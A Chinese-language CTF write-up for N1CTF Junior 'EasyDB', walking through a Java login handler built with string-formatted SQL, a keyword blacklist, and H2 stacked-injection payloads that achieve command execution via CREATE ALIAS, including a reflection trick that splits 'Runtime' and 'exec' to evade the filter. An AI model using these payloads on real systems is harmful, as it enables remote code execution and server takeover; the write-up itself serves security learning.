CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

代码存在sql注入

java 复制代码
    // 处理登录表单的POST请求
    @PostMapping({"/login"})
    public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {
        // 验证用户凭据
        if (this.userService.validateUser(username, password)) {
            session.setAttribute("username", username);  // 将用户名存储在会话中
            return "redirect:/";  // 验证成功,重定向到首页
        } else {
            model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型
            return "login";  // 返回登录视图
        }
    }
java 复制代码
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {
    // 使用格式化字符串构建SQL查询语句
    String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
    
    // 检查生成的查询是否安全,防止SQL注入
    if (!SecurityUtils.check(query)) {
        return false;  // 如果查询不安全,返回false
    } else {
        Throwable var8;  // 声明一个Throwable变量,用于异常处理
        // 使用try-with-resources语句自动管理Statement资源
        try (Statement stmt = this.connection.createStatement()) {
            // 执行SQL查询
            stmt.executeQuery(query);
            // 获取结果集
            ResultSet resultSet = stmt.getResultSet();
            Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常

            try {
                // 检查结果集是否有下一条记录(即用户是否存在)
                var8 = resultSet.next();
            } catch (Throwable var31) {
                var8 = var31;  // 捕获异常
                var7 = var31;  // 将异常赋值给var7以便后续处理
                throw var31;  // 重新抛出异常
            } finally {
                // 确保结果集在使用完后被关闭
                if (resultSet != null) {
                    if (var7 != null) {  // 如果有异常,处理异常
                        try {
                            resultSet.close();  // 关闭结果集
                        } catch (Throwable var30) {
                            var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中
                        }
                    } else {
                        resultSet.close();  // 正常关闭结果集
                    }
                }
            }
        } 
    } 
}

SELECT * FROM users WHERE username = '%s' AND password = '%s'

java 复制代码
// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {
    // 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击
    private static final HashSet<String> blackLists = new HashSet<>();

    // 默认构造函数
    public SecurityUtils() {
    }

    // 检查给定的SQL语句是否包含黑名单中的关键字
    public static boolean check(String sql) {
        // 遍历黑名单中的每一个关键字
        for (String keyword : blackLists) {
            // 将SQL语句转换为小写并检查是否包含黑名单关键字
            if (sql.toLowerCase().contains(keyword)) {
                return false; // 如果发现关键字,返回false,表示SQL不安全
            }
        }

        // 如果没有发现黑名单关键字,返回true,表示SQL是安全的
        return true;
    }
}
java 复制代码
static {  
    blackLists.add("runtime");  
    blackLists.add("process");  
    blackLists.add("exec");  
    blackLists.add("shell");  
    blackLists.add("file");  
    blackLists.add("script");  
    blackLists.add("groovy");  
}

使用堆叠注入rec,其标准利用形式如下

sql 复制代码
CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {
    Runtime.getRuntime().exec(cmd);
    return "su18";
}';
CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分

2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值

3.因为过滤了runtime,使用getMethod将Runtime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

sql 复制代码
CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {
    String R = "R" + "untime";
    Class<?> c = Class.forName("java.lang." + R);
    Object rt = c.getMethod("get" + R).invoke(null);//实例化
    c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
  • $$...$$ 是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。

参考

2025 N1CTF Junior Web 方向全解 | J1rrY's Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn't Laugh

相关推荐
学逆向的11 小时前
win32注入代码
开发语言·网络安全·api·win32
Web Security Loop12 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
墨云安全18 小时前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
刘婉晴21 小时前
【APP安全测试】Frida 基础
网络安全
科技象限1 天前
数据防泄密系统怎么选?看它怎么把几道防线叠成网
运维·安全·网络安全·安企神
sbjdhjd1 天前
云安全 | 从特权容器到旧版 runC:Docker 宿主机访问与运行时缺陷复盘
运维·网络安全·docker·云原生·kubernetes·云计算·云安全
sbjdhjd2 天前
云安全 | Docker 容器逃逸复盘(三):docker.sock 挂载与 Docker-in-Docker 风险
经验分享·网络安全·docker·云原生·容器·kubernetes·云安全
Dachui_11222 天前
内网穿透如何限制访问地区?ZeroNews Geo Location 区域访问控制实践
运维·网络安全·内网穿透·访问控制·远程办公·api安全·ip白名单
HackTwoHub2 天前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
菩提小狗2 天前
每日安全情报报告 · 2026-10-09
网络安全·漏洞·cve·安全情报·每日安全